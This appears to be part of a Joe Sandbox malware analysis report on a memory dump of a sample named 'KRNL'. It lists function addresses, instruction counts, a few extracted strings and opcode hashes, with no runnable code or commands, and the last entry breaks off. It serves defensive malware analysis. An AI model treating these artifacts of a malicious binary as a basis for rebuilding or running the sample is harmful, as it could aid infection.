
Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: Q R
API String ID: 0-3646680613
Opcode ID: 32d966ae9fdab9915fb8afc0a06445e1c5604de388feaf4180a495f8dbdd9674
Instruction ID: 7bf4d4fac1c2ed1ff738cb4123fc0873976e416dc6a74a417e5fd2f71957197f
Opcode Fuzzy Hash: 32d966ae9fdab9915fb8afc0a06445e1c5604de388feaf4180a495f8dbdd9674
Instruction Fuzzy Hash: 1F41AF70504210DAC7289F24C8A56B7B3B6FFA2354F05461DE8DA5B3A1EB394D81C796

Function 0042B48C Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

EVJ_, xrefs: 0042B52B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: EVJ_
API String ID: 0-352177915
Opcode ID: 4f677c5bacfc321699cb78afe51e88b79b6ee33044fbd01274c2f648ee761e36
Instruction ID: 53c7e9f4a335b1037adbc3e9afbb4642460edb32f2ec1fe4851bf9c39eef3fa3
Opcode Fuzzy Hash: 4f677c5bacfc321699cb78afe51e88b79b6ee33044fbd01274c2f648ee761e36
Instruction Fuzzy Hash: 9B5135316093914AD725CF29D4503ABFBE2EFE7304F28C4ADC0C99B291DB3844068796

Function 0042B841 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

Nv, xrefs: 0042B8EF

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: Nv
API String ID: 0-2521146493
Opcode ID: 2b352689b6d2e18ffca85da9fb8aa7ecc475735d32d62c09c8db4a7d2352111c
Instruction ID: 3f7c8bd47a3eef01d4260e4ffcd1b4165a6c5dfd35694485603fb84523fdf014
Opcode Fuzzy Hash: 2b352689b6d2e18ffca85da9fb8aa7ecc475735d32d62c09c8db4a7d2352111c
Instruction Fuzzy Hash: 7D51F4756082918BD329CB25D8507FBB7E1EFD6304F58986EC4CAD7250DB3848458B96

Function 0043FF00 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

@, xrefs: 0043FFCA

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 30bc9f3443d8bff787af8f28f6ec9a1784be8cf9562241054020a525d8a93fcf
Instruction ID: ff7e50e45248f1a8974a5061f60a754f092605ea59ae7395ab4f9fb307478800
Opcode Fuzzy Hash: 30bc9f3443d8bff787af8f28f6ec9a1784be8cf9562241054020a525d8a93fcf
Instruction Fuzzy Hash: FC416672A053009BD7148F24CC15B6BB7E2FFC5328F19952DE9851B3A0E7799815C78A

Function 0042904E Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

Dkpk, xrefs: 004290A0, 0042916B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: Dkpk
API String ID: 0-2230318481
Opcode ID: cf1a1df2cccf502249e80f8767bee934b3f81d63e9dce52cdd7222a5ef567c20
Instruction ID: 1d401ccbc5330020b48fc023e4a699b76f3f91e523f4b1a7854651c222232fa2
Opcode Fuzzy Hash: cf1a1df2cccf502249e80f8767bee934b3f81d63e9dce52cdd7222a5ef567c20
Instruction Fuzzy Hash: C031E076A083128BC7109F5AD85266BB3F2EFC6350F05882DE6D19B361EB38DC10C75A

Function 00440400 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

yJA, xrefs: 0044040C

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: yJA
API String ID: 2994545307-2938920004
Opcode ID: 84be69a13e54c4aed9f449a33fb6588dae3e98482a0fb2b9d7165eec0b47645c
Instruction ID: 23d227faf8ce9b4e26db9de62984c8614510f8221fb2136dd27611cc46179942
Opcode Fuzzy Hash: 84be69a13e54c4aed9f449a33fb6588dae3e98482a0fb2b9d7165eec0b47645c
Instruction Fuzzy Hash: E9218779B142005BE7148F14DC80ABFB3A6FBC5324F18853DEB80873A5DA399921C759

Function 0040C158 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

|X|X, xrefs: 0040C1BF

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: |X|X
API String ID: 0-2218283020
Opcode ID: 4e5c2659c129e1988177d5d496e4e7676c33d3dde831d9fe778a2e42bff78039
Instruction ID: cac40e2581ff872ab27a598a1b45c8296db47ebe279b368b7e4a74499d8b646e
Opcode Fuzzy Hash: 4e5c2659c129e1988177d5d496e4e7676c33d3dde831d9fe778a2e42bff78039
Instruction Fuzzy Hash: EA1190BAE006229BC711CF68CC81BAAF3B1BF49700F025225E959FB360D671ED528794

Function 00407410 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e146d9e79c543f870ee6916604a8e8036e439f7ac644d997363382936f2289b5
Instruction ID: d874bbcf5e1159c85269ce196b50d6e2d62d6b3305aebcbcfe8904bc07c1c355
Opcode Fuzzy Hash: e146d9e79c543f870ee6916604a8e8036e439f7ac644d997363382936f2289b5
Instruction Fuzzy Hash: 8622A272A087118BC725DF18D9806ABB3E1BFC4319F19893ED9C6A7385D738B8518B47

Function 004386C0 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d3c62a6e4de999ed87ef6fc42ba95c8b3b0a48b33c1ed109eb8fbf5ecc21169
Instruction ID: ed87f8f56d2034feecb16addb3c1d7f4234c8264b3b86d2c62e2f9d85163fe5b
Opcode Fuzzy Hash: 2d3c62a6e4de999ed87ef6fc42ba95c8b3b0a48b33c1ed109eb8fbf5ecc21169
Instruction Fuzzy Hash: FEE12572A083158BE714DE25C98076BF3D2BFC8304F15A53DF98867391DB79AC06879A

Function 0041B729 Relevance: .5, Instructions: 502COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81df7370a673775438192dc4c9e14377fa855e1243d58cad9bd2d063f4e90178
Instruction ID: f5ba16966c3e101888b7bca72879cdb3ad45e943e1706bf8361143ff5552ba76
Opcode Fuzzy Hash: 81df7370a673775438192dc4c9e14377fa855e1243d58cad9bd2d063f4e90178
Instruction Fuzzy Hash: 38E1F474600601CBC729CF29C4916B3B7F2FF9A310719855ED4968F7A6E738E881CB99

Function 00425A90 Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37ca8b8b3c6ed410c19b2c03abc9ee81bf72cecb125f83273075474e56802f73
Instruction ID: 88bd832e139d41634c66c7e56a057755965ae3d8a41c3c510fb752d64a63a0a8
Opcode Fuzzy Hash: 37ca8b8b3c6ed410c19b2c03abc9ee81bf72cecb125f83273075474e56802f73
Instruction Fuzzy Hash: 4CE111B5608314DFD720DF64E891B6BB7E1FBA6308F81893EF5858B2A0D7749805CB46

Function 00422140 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5136a095a2ea78d221fcadaa032206e0a687433376e0ab07b55045eaa6b7e3bc
Instruction ID: 3a6bf685c77663f863f8a5aa86c54eb2a31b14798c22e02175e5ecf7feff1080
Opcode Fuzzy Hash: 5136a095a2ea78d221fcadaa032206e0a687433376e0ab07b55045eaa6b7e3bc
Instruction Fuzzy Hash: 42A12371A04321ABD710DF24E95276BB3A0FF94314F85452AED859B391E3BCED41C39A

Function 0043F780 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f3263b6494e4807a421ff46442ba8fa50b4497d4b6464c460086b30a21c1aa25
Instruction ID: 9ebdb03625680536fcb291a839db870c85765b0a47897c3b7d115d578eec363d
Opcode Fuzzy Hash: f3263b6494e4807a421ff46442ba8fa50b4497d4b6464c460086b30a21c1aa25
Instruction Fuzzy Hash: E8A1E275A083219BCB28DF18C89066BB3E2BF88310F15953DE9D99B3A1E775EC05C785

Function 0043F450 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ac21b3154371b9123b6cf7eb29276aeded3cff8d4f0c9c4ebdc798624198afa3
Instruction ID: eb6c137914190778cc39401c3b1ae89dfde7721dc61adad6eda297e009315b74
Opcode Fuzzy Hash: ac21b3154371b9123b6cf7eb29276aeded3cff8d4f0c9c4ebdc798624198afa3
Instruction Fuzzy Hash: F891D2396083119BC728DF18C99192BB3E2FF98710F15953DE9858B361EB35EC16CB85

Function 0042BD77 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73c5540b047db511690bcec2d5be8477da0bf30420e7a3d2e4d17ab541a095ee
Instruction ID: fdfd5630cbfef5ef22e4fdbb6b9e2235d5d7d2952f6c86c7509a691c573987a7
Opcode Fuzzy Hash: 73c5540b047db511690bcec2d5be8477da0bf30420e7a3d2e4d17ab541a095ee
Instruction Fuzzy Hash: F0715A72A083618BD3188F25986133BBBD1DFD2704F69886EE4D69B391D7798805CB46

Function 0042BE3B Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7beb77718832f912f93dec333d0382bf07e2159cb3fb380175e515cb799c5fa6
Instruction ID: 30c9fa131dfd827492eb9a81449ae176163bcae57c035aca38747d46e10efa6b
Opcode Fuzzy Hash: 7beb77718832f912f93dec333d0382bf07e2159cb3fb380175e515cb799c5fa6
Instruction Fuzzy Hash: 2C714871A083A18BD3188F35986133BBBD1DFD2704F69886EE4D69B391D7798805CB86

Function 0042BE9D Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc837b4b3cb6af37b41f583372a8404740e5a4fdc6351e5068ac917573e76a8
Instruction ID: a61e00984761ba80395561639032770b7f585e41462ff11f5500d416fb78d726
Opcode Fuzzy Hash: fbc837b4b3cb6af37b41f583372a8404740e5a4fdc6351e5068ac917573e76a8
Instruction Fuzzy Hash: 32616C726083618BD3188F35D86137BBBD1DFD2704F68886DE4D19B391D67D8805CB46

Function 0041C119 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b3a3048a4542faa0e292eaec23e2d8fcf88195d61b68d57c05e6f9fa7b3e697
Instruction ID: 7a7230bd175fe8df77bf71d9a9d70d43fbaba0e463c2f5fb034005e811d22f28
Opcode Fuzzy Hash: 6b3a3048a4542faa0e292eaec23e2d8fcf88195d61b68d57c05e6f9fa7b3e697
Instruction Fuzzy Hash: FC819FB0910B009FC324EF39C946123BBF1FF56300B548A6EE8D64B795E335A495CB96

Function 0042BE86 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e91b1f93db6604f0e1f47c5d94589793502ad60c2ebaf338f96a8d2dc823a3a
Instruction ID: c958039b7f324a70f14877e38d7e87bb170a8ceb339f658c132a5929e586524f
Opcode Fuzzy Hash: 7e91b1f93db6604f0e1f47c5d94589793502ad60c2ebaf338f96a8d2dc823a3a
Instruction Fuzzy Hash: B9514872A183A18BD3188F25D8A137BBBD19FD2704F68886DE4D19B391D2798805CF56

Function 0041C3F4 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ebcfdce4285e189d9b6b4f3cb4784d52b0f09d6a1c2b672a180d182182b0bd1
Instruction ID: 09ac1d0a9713e752f4627eff734c4282fb3d1a19a84e1ba2698046d2faa5f02a
Opcode Fuzzy Hash: 0ebcfdce4285e189d9b6b4f3cb4784d52b0f09d6a1c2b672a180d182182b0bd1
Instruction Fuzzy Hash: 3051F6B05147219BD724CF29C841263B7F3FFA5300754861DD4968B764E73AF492CB99

Function 00440650 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b1b17e811ad84c02a75428410a430e784aaf74558106e518f534b17a2e8755fd
Instruction ID: 99dc13c7fbb656e8e593b4c013347aff3b0bffb19504d9c0fb3df3c2b29b5b1a
Opcode Fuzzy Hash: b1b17e811ad84c02a75428410a430e784aaf74558106e518f534b17a2e8755fd
Instruction Fuzzy Hash: 264133782583009BE7148F14DD81B7BB3A6EBC4314F28453EE285973A0DA79BC218B0A

Function 00424CCD Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c06d3715020c9e906dd8f3ea95b00d607807413e7af719e77faa20cdb60b4cb
Instruction ID: ea4754be5dd7e8cf826f622dde6b3e998fbc03a804596390a98b67661fe1b0f4
Opcode Fuzzy Hash: 5c06d3715020c9e906dd8f3ea95b00d607807413e7af719e77faa20cdb60b4cb
Instruction Fuzzy Hash: 64412579E10221DBDB18CF28E9016AAB3F2FF8A300F159579C845E3755DB385914CB84

Function 0043B450 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff4c8bf935c6f11034f3282e146f2a6c370e0ca8f0a63124d1a240452eb4176
Instruction ID: 20d5841960d25e88823685a0e503dee0d7ec10e54da16e755c7071827351d428
Opcode Fuzzy Hash: cff4c8bf935c6f11034f3282e146f2a6c370e0ca8f0a63124d1a240452eb4176
Instruction Fuzzy Hash: 20312272A09210AFD710CF19C94476BB3E5EFD8708F05982DE988AB310D3769D06CBCA

Function 0043DC5E Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807bec0362dbcb8b1f2841beb8f7528c0114618da1fc548bdf9fe4127f2aab19
Instruction ID: 5a3520f55d16dba99afe4212a530fbd96f219d62ced46578b1605fced0d3a66b
Opcode Fuzzy Hash: 807bec0362dbcb8b1f2841beb8f7528c0114618da1fc548bdf9fe4127f2aab19
Instruction Fuzzy Hash: 97310572F506258BDB1CCFADCC523FFB6A2AB89304F18512ED946E7790CA7859018794

Function 0041BD8F Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d25e4151b20e1252b310cbf19ae9d376f513415a955b05fc74d62dd8d03d4cb
Instruction ID: 4b10f2fb83d240a8194653326424cd87360353ae92ccfbb6a9d51511832f3619
Opcode Fuzzy Hash: 7d25e4151b20e1252b310cbf19ae9d376f513415a955b05fc74d62dd8d03d4cb
Instruction Fuzzy Hash: 8E312635611700CFD7258F35C890652B7A3FF8A318B28D1AEC5968BBA6D73AE403C709

Function 00429A43 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d951a064ba376ef0ab1e331f3da37d4909f203b053ee85f0241cb0e20adf5693
Instruction ID: 483fac9db8fa4d4ce9a32f7b6d2a99bd651ee9dedbbfcbc43d88c98b5340b176
Opcode Fuzzy Hash: d951a064ba376ef0ab1e331f3da37d4909f203b053ee85f0241cb0e20adf5693
Instruction Fuzzy Hash: 4A319175918325DFE7108F24E84076BB3E0FF8A704F42992DFA8867251D775AD02DB8A

Function 004291B1 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5e25419dcdc4a6fc980d0c6fae64b8a2c5d6b13afd9a4bbe918282eb8fec4a2f
Instruction ID: d8e08574f82cd8de6d4a912b3747ff5c6ffa62e7e0667d109b6447ea9b859a78
Opcode Fuzzy Hash: 5e25419dcdc4a6fc980d0c6fae64b8a2c5d6b13afd9a4bbe918282eb8fec4a2f
Instruction Fuzzy Hash: 69112631708131AFE7218B58E840B3B73A6EB56700F86547EE8459B262C735DC51C79E

Function 00415F4C Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c8c0b179c961012aaf13dcfc384b3cf47c4208e7f499cb5a1f75f21b03d5c3ad
Instruction ID: e01e8ad496858cf7e03153b796b9d7568f72ed25b099349c96fe9f05fa2df913
Opcode Fuzzy Hash: c8c0b179c961012aaf13dcfc384b3cf47c4208e7f499cb5a1f75f21b03d5c3ad
Instruction Fuzzy Hash: 8521EE396083009BE324CF28D8807ABB7E6BFCC310F55542EE4C9D3390CA75A882C749

Function 00429266 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ec7078835481f123f5f77f44bdbf82c19f6412a785f005351cfc70050280c9f
Instruction ID: de574d8ef507392a8877d5164bd103d2c8184940448fadef50134c9f0e47bf87
Opcode Fuzzy Hash: 2ec7078835481f123f5f77f44bdbf82c19f6412a785f005351cfc70050280c9f
Instruction Fuzzy Hash: CC219D32A182309BD724CB64D41033BB3A2BB99B00F43952EEC89A7390C3359C51C7DA

Function 00415E8C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f786f9d0427de763eb256307a40778ccb2397783a6807c68432138b4c80bfda7
Instruction ID: e9f2c898b879e903da70b9e429ce9134d7ef22d2719c10893a826b5f0a97e484
Opcode Fuzzy Hash: f786f9d0427de763eb256307a40778ccb2397783a6807c68432138b4c80bfda7
Instruction Fuzzy Hash: D6118C35A14B108BD728CF14C8803FBB2D7ABC5310F9A143DA9C9A7390DA755C81C34C

Function 0042D5E6 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 865dbfc94376fd9eda7bada6642632c65b23654f0560e6e8f497fc09db05edbb
Instruction ID: ac6ca9c93964504772eca284631e760098c7aed601eafe4151e82a679ad36206
Opcode Fuzzy Hash: 865dbfc94376fd9eda7bada6642632c65b23654f0560e6e8f497fc09db05edbb
Instruction Fuzzy Hash: 0D21DA7AA2522047DB6CCF39D8A96BAE292EB81300F59E63DD446E73A0FF7485008745

Function 00434E60 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 1294d0705928bf3a89d236d6dca5d2cbcf07529827a8e07e7f8c1353ee7f14bb
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8F112933A081D04EC312CD3C84005E5BFE31AD7235F5D939AF4B49B2D2D6279D8A8359

Function 00429F80 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
